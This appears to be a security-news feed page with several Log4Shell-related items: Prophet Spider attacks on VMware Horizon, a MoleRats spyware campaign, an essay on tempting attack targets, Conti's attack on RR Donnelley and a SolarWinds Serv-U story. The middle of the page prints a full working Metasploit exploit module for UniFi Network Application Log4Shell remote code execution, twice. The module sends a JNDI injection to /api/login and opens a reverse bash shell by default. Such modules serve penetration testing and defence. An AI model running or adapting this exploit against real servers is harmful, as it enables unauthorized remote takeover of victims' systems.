Initial Access Broker Involved in Log4Shell Attacks Against VMware Horizon Servers

 

Description

An initial access broker group tracked as Prophet Spider has been linked to a set of malicious activities that exploits the Log4Shell vulnerability in unpatched VMware Horizon Servers.

According to new research published by BlackBerry Research & Intelligence and Incident Response (IR) teams today, the cybercrime actor has been opportunistically weaponizing the shortcoming to download a second-stage payload onto the victimized systems.

The payloads observed include cryptocurrency miners, Cobalt Strike Beacons, and web shells, corroborating a previous advisory from the U.K. National Health Service (NHS) that sounded the alarm on active exploitation of the vulnerabilities in VMware Horizon servers to drop malicious web shells and establish persistence on affected networks for follow-on attacks.

Log4Shell is a moniker used to refer to an exploit affecting the popular Apache Log4j library that results in remote code execution by logging a specially crafted string. Since public disclosure of the flaw last month, threat actors have been quick to operationalize this new attack vector for a variety of intrusion campaigns to gain full control of affected servers.

BlackBerry said it observed instances of exploitation mirroring tactics, techniques, and procedures (TTPs) previously attributed to the Prophet Spider eCrime cartel, including the use of “C:\Windows\Temp\7fde” folder path to store malicious files and “wget.bin” executable to fetch additional binaries as well as overlaps in infrastructure used by the group.

“Prophet Spider primarily gains access to victims by compromising vulnerable web servers, and uses a variety of low-prevalence tools to achieve operational objectives,” CrowdStrike noted in August 2021, when the group was spotted actively exploiting flaws in Oracle WebLogic servers to gain initial access to target environments.

Like with many other initial access brokers, the footholds are sold to the highest bidder on underground forums located in the dark web, who then exploit the access for ransomware deployment. Prophet Spider is known to be active since at least May 2017.

This is far from the first time internet-facing systems running VMware Horizon have come under attack using Log4Shell exploits. Earlier this month, Microsoft called out a China-based operator tracked as DEV-0401 for deploying a new ransomware strain called NightSky on the compromised servers.

The onslaught against Horizon servers has also prompted VMware to urge its customers to apply the patches immediately. “The ramifications of this vulnerability are serious for any system, especially ones that accept traffic from the open Internet,” the virtualization services provider cautioned.

“When an access broker group takes interest in a vulnerability whose scope is so unknown, it’s a good indication that attackers see significant value in its exploitation,” Tony Lee, vice president of global services technical operations at BlackBerry, said.

“It’s likely that we will continue to see criminal groups exploring the opportunities of the Log4Shell vulnerability, so it’s an attack vector against which defenders need to exercise constant vigilance,” Lee added.

Read More

MoleRats APT Launches Spy Campaign on Bankers, Politicians, Journalists

 

Description

Malicious files doctored up to look like legitimate content related to the Israeli-Palestine conflict are being used to target prominent Palestinians, as well as activists and journalists in Turkey, with spyware.

That’s according to a disclosure from Zscaler, which attributes the cyberattacks to the MoleRats advanced persistent threat (APT). Zscaler’s research team was able to tie MoleRats, an Arabic-speaking group with a history of targeting Palestinian interests, to this campaign because of overlap in the .NET payload and command-and-control (C2) servers with previous MoleRats APT attacks.

This campaign started last July, Zscaler reported.

MoleRats used the Dropbox API for C2 communications in both this and previous campaigns, as well as Google Drive and other established cloud-hosting services to host the payloads, according to Zscaler.

“The targets in this campaign were chosen specifically by the threat actor and they included critical members of the banking sector in Palestine, people related to Palestinian political parties, as well as human rights activists and journalists in Turkey,” Zscaler’s analysts found.

The MoleRats Attack Chain. Source: Zscaler.

The analysts also found overlapping domain SSL-certificate data in this attack and previous known MoleRats attacks, as well as common domains used for passive DNS resolution, the report added.

The attack delivers malicious decoy Arabic-language content seemingly related to the Palestinian conflict with Israel, with a macro code, which executes a PowerShell command to fetch the malware:

New MoleRats Backdoor Delivery

Once executed, the malware creates a backdoor to the victim’s device and downloads its contents to a Dropbox folder, according to the researchers, who report finding at least five Dropboxes currently being used by the attackers.

Zscaler tracked the attack chain back through Dropbox and discovered that the APT’s machine is operating in the Netherlands with the same IP subnet as the C2, along with domains used in past MoleRats APT campaigns.

The most recent MoleRats attacks showed some innovation over previous campaigns in backdoor delivery, according to the report.

“Although we are not sure how these .RAR/.ZIP files were delivered, considering the past attacks they were likely delivered using phishing PDFs,” the Zscaler team determined.

The Zscaler report comes amid a recent explosion of APT attacks, which are up more than 50 percent over the past year. That’s fueled in large part by Log4Shell attacks, according to recent Check Point Research.

Read More

UniFi Network Application Unauthenticated Log4Shell Remote Code Execution

 `##  

# This module requires Metasploit: https://metasploit.com/download  

# Current source: https://github.com/rapid7/metasploit-framework  

##  

class MetasploitModule < Msf::Exploit::Remote  

Rank = ExcellentRanking  

  

include Msf::Exploit::Remote::JndiInjection  

include Msf::Exploit::Remote::HttpClient  

prepend Msf::Exploit::Remote::AutoCheck  

  

def initialize(_info = {})  

super(  

'Name' => 'UniFi Network Application Unauthenticated JNDI Injection RCE (via Log4Shell)',  

'Description' => %q{  

The Ubiquiti UniFi Network Application versions 5.13.29 through 6.5.53 are affected by the Log4Shell  

vulnerability whereby a JNDI string can be sent to the server via the 'remember' field of a POST request to the  

/api/login endpoint that will cause the server to connect to the attacker and deserialize a malicious Java  

object. This results in OS command execution in the context of the server application.  

  

This module will start an LDAP server that the target will need to connect to.  

},  

'Author' => [  

'Spencer McIntyre', # this exploit module and JNDI/LDAP lib stuff  

'RageLtMan <rageltman[at]sempervictus>', # JNDI/LDAP lib stuff  

'Nicholas Anastasi' # Unifi research  

],  

'References' => [  

[ 'CVE', '2021-44228' ],  

[ 'URL', 'https://www.sprocketsecurity.com/blog/another-log4j-on-the-fire-unifi' ],  

[ 'URL', 'https://github.com/puzzlepeaches/Log4jUnifi' ],  

[ 'URL', 'https://community.ui.com/releases/UniFi-Network-Application-6-5-54/d717f241-48bb-4979-8b10-99db36ddabe1' ]  

],  

'DisclosureDate' => '2021-12-09',  

'License' => MSF_LICENSE,  

'DefaultOptions' => {  

'RPORT' => 8443,  

'SSL' => true,  

'WfsDelay' => 30  

},  

'DefaultTarget' => 1,  

'Targets' => [  

[  

'Windows', {  

'Platform' => 'win'  

},  

],  

[  

'Unix', {  

'Platform' => 'unix',  

'Arch' => [ARCH_CMD],  

'DefaultOptions' => {  

'PAYLOAD' => 'cmd/unix/reverse_bash'  

}  

},  

]  

],  

'Notes' => {  

'Stability' => [CRASH_SAFE],  

'SideEffects' => [IOC_IN_LOGS],  

'AKA' => ['Log4Shell', 'LogJam'],  

'Reliability' => [REPEATABLE_SESSION]  

}  

)  

register_options([  

OptString.new('TARGETURI', [ true, 'Base path', '/'])  

])  

end  

  

def wait_until(&block)  

datastore['WfsDelay'].times do  

break if block.call  

  

sleep(1)  

end  

end  

  

def check  

validate_configuration!  

res = send_request_cgi('uri' => normalize_uri(target_uri, 'status'))  

return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil?  

  

server_version = res.get_json_document.dig('meta', 'server_version')  

return Exploit::CheckCode::Safe('The target service does not appear to be running.') unless server_version =~ /(\d+\.)+/  

  

vprint_status("Detected version: #{server_version}")  

server_version = Rex::Version.new(server_version)  

if server_version < Rex::Version.new('5.13.29')  

return Exploit::CheckCode::Safe('Versions prior to 5.13.29 are not exploitable.')  

elsif server_version > Rex::Version.new('6.5.53')  

return Exploit::CheckCode::Safe('Versions after 6.5.53 are patched and not affected.')  

end  

  

vprint_status('The target appears to be a vulnerable version, attempting to trigger the vulnerability...')  

  

start_service  

res = trigger  

return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil?  

  

wait_until { @search_received }  

@search_received ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Unknown('No LDAP search query was received.')  

ensure  

stop_service  

end  

  

def build_ldap_search_response_payload  

return [] if @search_received  

  

@search_received = true  

  

return [] unless @exploiting  

  

print_good('Delivering the serialized Java object to execute the payload...')  

build_ldap_search_response_payload_inline('BeanFactory')  

end  

  

def trigger  

@search_received = false  

# HTTP request initiator  

send_request_cgi(  

'uri' => normalize_uri(target_uri, 'api', 'login'),  

'method' => 'POST',  

'ctype' => 'application/json',  

'data' => {  

'username' => rand_text_alphanumeric(8..16), # can not be blank!,  

'password' => rand_text_alphanumeric(8..16), # can not be blank!  

'remember' => jndi_string,  

'strict' => true  

}.to_json  

)  

end  

  

def exploit  

validate_configuration!  

  

@exploiting = true  

start_service  

res = trigger  

fail_with(Failure::Unreachable, 'Failed to trigger the vulnerability') if res.nil?  

  

msg = res.get_json_document.dig('meta', 'msg')  

if res.code == 400 && msg == 'api.err.Invalid' # returned by versions before 5.13.29  

fail_with(Failure::NotVulnerable, 'The target is not vulnerable')  

end  

  

unless res.code == 400 && msg == 'api.err.InvalidPayload' # returned by versions after 5.13.29 (including patched ones)  

fail_with(Failure::UnexpectedReply, 'The server replied to the trigger in an unexpected way')  

end  

  

wait_until { @search_received && (!handler_enabled? || session_created?) }  

handler  

ensure  

cleanup  

end  

end  

`

Read More

UniFi Network Application Unauthenticated Log4Shell Remote Code Execution Exploit

 

Description

The Ubiquiti UniFi Network Application versions 5.13.29 through 6.5.53 are affected by the Log4Shell vulnerability whereby a JNDI string can be sent to the server via the remember field of a POST request to the /api/login endpoint that will cause the server to connect to the attacker and deserialize a malicious Java object. This results in OS command execution in the context of the server application. This Metasploit module will start an LDAP server that the target will need to connect to.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::JndiInjection
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(_info = {})
    super(
      'Name' => 'UniFi Network Application Unauthenticated JNDI Injection RCE (via Log4Shell)',
      'Description' => %q{
        The Ubiquiti UniFi Network Application versions 5.13.29 through 6.5.53 are affected by the Log4Shell
        vulnerability whereby a JNDI string can be sent to the server via the 'remember' field of a POST request to the
        /api/login endpoint that will cause the server to connect to the attacker and deserialize a malicious Java
        object. This results in OS command execution in the context of the server application.

        This module will start an LDAP server that the target will need to connect to.
      },
      'Author' => [
        'Spencer McIntyre', # this exploit module and JNDI/LDAP lib stuff
        'RageLtMan <rageltman[at]sempervictus>', # JNDI/LDAP lib stuff
        'Nicholas Anastasi' # Unifi research
      ],
      'References' => [
        [ 'CVE', '2021-44228' ],
        [ 'URL', 'https://www.sprocketsecurity.com/blog/another-log4j-on-the-fire-unifi' ],
        [ 'URL', 'https://github.com/puzzlepeaches/Log4jUnifi' ],
        [ 'URL', 'https://community.ui.com/releases/UniFi-Network-Application-6-5-54/d717f241-48bb-4979-8b10-99db36ddabe1' ]
      ],
      'DisclosureDate' => '2021-12-09',
      'License' => MSF_LICENSE,
      'DefaultOptions' => {
        'RPORT' => 8443,
        'SSL' => true,
        'WfsDelay' => 30
      },
      'DefaultTarget' => 1,
      'Targets' => [
        [
          'Windows', {
            'Platform' => 'win'
          },
        ],
        [
          'Unix', {
            'Platform' => 'unix',
            'Arch' => [ARCH_CMD],
            'DefaultOptions' => {
              'PAYLOAD' => 'cmd/unix/reverse_bash'
            }
          },
        ]
      ],
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'SideEffects' => [IOC_IN_LOGS],
        'AKA' => ['Log4Shell', 'LogJam'],
        'Reliability' => [REPEATABLE_SESSION]
      }
    )
    register_options([
      OptString.new('TARGETURI', [ true, 'Base path', '/'])
    ])
  end

  def wait_until(&block)
    datastore['WfsDelay'].times do
      break if block.call

      sleep(1)
    end
  end

  def check
    validate_configuration!
    res = send_request_cgi('uri' => normalize_uri(target_uri, 'status'))
    return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil?

    server_version = res.get_json_document.dig('meta', 'server_version')
    return Exploit::CheckCode::Safe('The target service does not appear to be running.') unless server_version =~ /(\d+\.)+/

    vprint_status("Detected version: #{server_version}")
    server_version = Rex::Version.new(server_version)
    if server_version < Rex::Version.new('5.13.29')
      return Exploit::CheckCode::Safe('Versions prior to 5.13.29 are not exploitable.')
    elsif server_version > Rex::Version.new('6.5.53')
      return Exploit::CheckCode::Safe('Versions after 6.5.53 are patched and not affected.')
    end

    vprint_status('The target appears to be a vulnerable version, attempting to trigger the vulnerability...')

    start_service
    res = trigger
    return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil?

    wait_until { @search_received }
    @search_received ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Unknown('No LDAP search query was received.')
  ensure
    stop_service
  end

  def build_ldap_search_response_payload
    return [] if @search_received

    @search_received = true

    return [] unless @exploiting

    print_good('Delivering the serialized Java object to execute the payload...')
    build_ldap_search_response_payload_inline('BeanFactory')
  end

  def trigger
    @search_received = false
    # HTTP request initiator
    send_request_cgi(
      'uri' => normalize_uri(target_uri, 'api', 'login'),
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => {
        'username' => rand_text_alphanumeric(8..16), # can not be blank!,
        'password' => rand_text_alphanumeric(8..16), # can not be blank!
        'remember' => jndi_string,
        'strict' => true
      }.to_json
    )
  end

  def exploit
    validate_configuration!

    @exploiting = true
    start_service
    res = trigger
    fail_with(Failure::Unreachable, 'Failed to trigger the vulnerability') if res.nil?

    msg = res.get_json_document.dig('meta', 'msg')
    if res.code == 400 && msg == 'api.err.Invalid' # returned by versions before 5.13.29
      fail_with(Failure::NotVulnerable, 'The target is not vulnerable')
    end

    unless res.code == 400 && msg == 'api.err.InvalidPayload' # returned by versions after 5.13.29 (including patched ones)
      fail_with(Failure::UnexpectedReply, 'The server replied to the trigger in an unexpected way')
    end

    wait_until { @search_received && (!handler_enabled? || session_created?) }
    handler
  ensure
    cleanup
  end
end

Read More

The Internet’s Most Tempting Targets

 

Description

The number of exposed assets keeps climbing, but existing security strategies aren’t keeping up. Attack surfaces are getting more complex, and the excruciatingly hard part is figuring out where to focus. For every 1,000 assets on an attack surface, there is often only one that’s truly interesting to an attacker. But how is a defender supposed to know which one that is?

This becomes especially difficult in the wake of Log4j. Even Jen Easterly made a point to remind people that enumerating what’s on your attack surface is a key way to mitigate a Log4j incident.

I’m a pretty busy person, so I’m always seeking out the path of least resistance — as are most attackers. We have to operate within limited budgets, and our technical capabilities have an upper bound — we’re not magicians. This is where flipping your perspective will help not only identify what’s exposed on your attack surface, but also what’s most likely to be targeted by an attacker. I guarantee it will dramatically improve your team’s efficiency, reduce overall risk and ensure you’re always focused on the highest value assets first.

Randori spent some time researching what internet-exposed software is most tempting to an attacker—we use six attributes we assess to determine a piece of software’s Temptation Score: enumerability, exploitability, criticality, applicability, post-exploitation potential, and research potential. Using some math and fancy algorithms we end up with a “Target Temptation” Score—basically calculating the attackability of an internet-facing asset.

Using these assessments, we created a list of some of the more juicy targets we see on the web, and why.

Temptation Roll Call

Anything known to be using Log4j. Log4j took the security community by storm as it’s one of the most widely used pieces of third-party code and extremely easy to exploit. Our attack team had an exploit within the hour, and was able to use it in live VMware environments the same day. Even though the security community rallied as fast as it could to apply patches and remediation strategies, there are likely some services still running vulnerable code. Because it’s so easy to exploit and new variations of the Log4Shell vulnerability are likely to emerge, it’s going to rank high on any attacker’s list.

VPNs, my personal favorite. VPNs are known to protect things of value, making them intrinsically interesting, yet they are often unpatched, misconfigured and not well protected. One cannot install any software on a VPN to defend it. If an attacker exploits this one device, they can reach out to additional devices it was protecting. They are known to be targets for exploitation too; in fact we discovered a 9.8 CVE on Palo Alto’s Global Protect product.

Older versions of Solarwinds. Despite all the attention on SolarWinds, one in 15 organizations appear to be running vulnerable versions of the software. Attackers likely put it top of their list because 1) there is a known exploit; 2) Solarwinds is typically a mission-critical technology for a business that could give an attacker privileged access; and 3) it’s widely used. One exploit could be used against many.

Old versions of Microsoft IIS 6. Microsoft IIS 6 has NOT been supported for more than half a decade. That’s right, half a decade! Attackers love old exposed software that is no longer supported. Our data shows 15 percent of companies have at least one instance of IIS 6 exposed online. Microsoft’s IIS version 6 is associated with Windows 2003, and Microsoft stopped supporting it in 2015. In 2015! With lots of known public weaknesses and high applicability, IIS 6 is something some might assume is a honeypot, but an attacker knows better—it’s a juicy target.

Older versions of Microsoft OWA. Microsoft’s Outlook Web Access (OWA) is a very widely used solution with lots and lots of publicly known CVEs. Remember the Windows Exchange breach from last year that impacted 30,000 companies? Despite the risks, many companies continue to have OWA exposed to the internet. Several known vulnerabilities can provide attacker’s with remote access and are known to be actively exploited.

Another thing: The more an attacker knows about a system, the more tempting it is. One aspect that often drives up OWA temptation scores for instance is the use of default settings that expose detailed version information. Services which expose the name, version, and better yet, configuration information, make it easier for an attacker to cross-check to see if there are any known public vulnerabilities or exploits weaponized against that specific version and to confirm if an exploit will land.

Pro tip: Always change the default settings so that the version number isn’t publicly visible. If you can’t patch it or upgrade it, at least hide it.

The Defender’s Move

There’s a bit of an equation that goes into deciding what the most tempting targets are on an attack surface. While there isn’t an exact list of attributes an adversary uses to determine what to exploit, the logic above is pretty universal among attackers.

No system will ever be fully secure, but limiting the information attackers can get their hands on out of the gate goes a long way toward taking the wind out of their sails. This means burying the truly crucial information behind so many fail safes that it isn’t worth the effort for an attacker. This can mean adding logging/monitoring, web application firewalls or segmentation to critical assets on an attack surface — or even taking systems offline entirely if they don’t need to communicate with the internet.

As always, good ole-fashioned network segmentation and defense in depth will get better results than what you’d be getting otherwise.

Read More

SEC Filing Reveals Fortune 500 Firm Targeted in Ransomware Attack

 

Description

Fortune 500 integrated services firm R.R.Donnelley & Sons (RRD) is the latest victim of the hacking collective known as the Conti Group. According to regulatory disclosures RRD was the victim of a network breach that resulted in stolen data in December.

RRD, a global firm with 33,000 employees, disclosed incident details in its U.S. Securities and Exchange Commission (SEC) 8-K form – filed Dec. 27. The company said it “had recently identified a systems intrusion in its technical environment,” according to the filing.

“The Company promptly implemented a series of containment measures to address this situation, including activating its incident response protocols, shutting down its servers and systems and commencing a forensic investigation,” the company disclosed. It also isolated a portion of its technical environment to try to contain the intrusion, the company said.

RRD didn’t name the perpetrator of the attack in the filing. However, a published report in BleepingComputing claims it was Conti, citing an online post the cybercriminal group made claiming responsibility and leaking 2.5GB of data allegedly stolen from the company on Jan. 25.

At first RRD said it was not aware of any data being stolen in the filing; however, the company revised this position and confirmed Wednesday in a separate SEC filing that data had been stolen in the attack, according to the BleepingComputer report.

RRD is working with a third-party cybersecurity expert and law-enforcement in a continued investigation into the incident, according to the December SEC filing. The company did not immediately respond to an email requesting more information about the attack sent by Threatpost Thursday.

Conti Ups the Ante

A number of ransomware actors already have been shut down by international authorities; REvil last week was the latest to be taken out in a massive raid by Russian authorities of its operations and assets.

However, Russia-based Conti—which has been called “ruthless” by researchers at Palo Alto Networks—not only remains active, but also continues to build on its skillset and target high-profile victims.

The group recently developed novel tactics to demolish backups, especially the Veeam recovery software—a move that can leave victims no choice but to pay the often exorbitant ransoms the criminals demand.

Conti also was the professional ransomware group to fully weaponize the dangerous Log4Shell vulnerability discovered late last year, building up an entire holistic attack chain to fully take advantage of the flaw.

The Evolution of Ransomware

Indeed, the RRD attack and Conti’s sharpening of its knives shows an evolution in the direction ransomware actors likely are to continue to take in 2022 after ransomware volumes hit record highs last year.

The chance of victims recovering data from back-ups are becoming slimmer, meaning companies have to be even more prepared for attacks before they happen, observed one security professional.

“Ransomware isn’t just about encrypting your data any longer,” Tim Erlin vice president of strategy at cybersecurity firm Tripwire, said in an email to Threatpost. “It’s now about exfiltrating your data and holding it hostage. The strategy of taking a copy of data to ransom means that simply having backups from which you can restore isn’t really a sufficient ransomware strategy.”

As it often takes time for organizations to put together what really happened in a ransomware attack—with the true impact being realized only later–they need to take a different approach than merely a response and remediation position, he said.

“A rigorous change detection and configuration management program can not only help prevent breaches, they can also help organizations figure out what happened faster,” Erlin said.

Read More

Hackers Attempt to Exploit New SolarWinds Serv-U Bug in Log4Shell Attacks

 

Description

Microsoft on Wednesday disclosed details of a new security vulnerability in SolarWinds Serv-U software that it said was being weaponized by threat actors to propagate attacks leveraging the Log4j flaws to compromise targets.

Tracked as CVE-2021-35247 (CVSS score: 5.3), the issue is an “input validation vulnerability that could allow attackers to build a query given some input and send that query over the network without sanitation,” Microsoft Threat Intelligence Center (MSTIC) said.

The flaw, which was discovered by security researcher Jonathan Bar Or, affects Serv-U versions 15.2.5 and prior, and has been addressed in Serv-U version 15.3.

“The Serv-U web login screen to LDAP authentication was allowing characters that were not sufficiently sanitized,” SolarWinds said in an advisory, adding it “updated the input mechanism to perform additional validation and sanitization.”

The IT management software maker also pointed out that “no downstream effect has been detected as the LDAP servers ignored improper characters.” It’s not immediately clear if the attacks detected by Microsoft were mere attempts to exploit the flaw or if they were ultimately successful.

The development comes as multiple threat actors continue to take advantage of the Log4Shell flaws to mass scan and infiltrate vulnerable networks for deploying backdoors, coin miners, ransomware, and remote shells that grant persistent access for further post-exploitation activity.

Akamai researchers, in an analysis published this week, also found evidence of the flaws being abused to infect and assist in the proliferation of malware used by the Mirai botnet by targeting Zyxel networking devices.

On top of this, a China-based hacking group has been previously observed exploiting a critical security vulnerability affecting SolarWinds Serv-U (CVE-2021-35211) to install malicious programs on the infected machines.

Update: In a statement shared with The Hacker News, SolarWinds pointed out that its Serv-U software wasn’t exploited in the Log4j attacks, and that attempts were made to log in to SolarWinds Serv-U file-sharing software via attacks exploiting the Log4j flaws.

“The activity Microsoft was referring to in their report was related to a threat actor attempting to login to Serv-U using the Log4j vulnerability but that attempt failed as Serv-U does not utilize Log4j code and the target for authentication LDAP (Microsoft Active Directory) is not susceptible to Log4J attacks,” a company spokesperson said.

While this directly contradicts Microsoft’s original disclosure that attackers were exploiting the previously undisclosed vulnerability in the SolarWinds Serv-U managed file transfer service to propagate Log4j attacks, the attempts ultimately failed because the vulnerable Log4j code isn’t present in the software.

(The story has been revised to to clarify that Serv-U is not vulnerable to the Log4Shell attacks.)

Read More